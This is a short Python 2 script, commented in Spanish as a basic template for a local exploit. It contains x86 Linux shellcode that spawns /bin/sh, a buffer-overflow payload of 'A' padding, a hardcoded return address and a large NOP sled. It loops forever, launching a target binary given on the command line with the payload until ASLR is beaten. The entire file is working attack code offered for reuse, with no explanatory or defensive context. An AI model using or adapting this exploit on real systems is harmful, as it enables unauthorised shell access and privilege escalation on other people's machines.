import os
import sys
import time

# PLANTILLA DE EJEMPLO BASICA PARA UN EXPLOIT LOCAL
# DESCRIPCION
# DESCRIPCION
# DESCRIPCION
# DESCRIPCION
# DESCRIPCION

class Exploit:

   def __init__(self):

      if len(sys.argv) <> 2:
         print "\n[*] ERROR: Falta el argumento:  /path/binary\n"
         exit() 

      else:
         self.arg2=sys.argv[1]
         # Command=/bin/sh Size=24 bytes Bind=No         
         self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
                           "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                           "\x52\x53\x89\xe1\xb0\x0b\xcd\x80")                    

         self.payload  = '\x41'*1036            # Padding 0x41 (A)   
         self.payload += '\x70\x9b\x80\xbf'     # Magic Address -> 0xbf809b70
         self.payload += '\x90'*10000           # 0x90 (NOP) x 10000
         # The ASLR begin at the memory address 0xbf80010#i1

   def loop(self):
      print "\n[+] Lanzando el exploit\n"
      time.sleep(2)

      while True:
         os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
   union=Exploit()    
   conector=union.loop()
exit() 
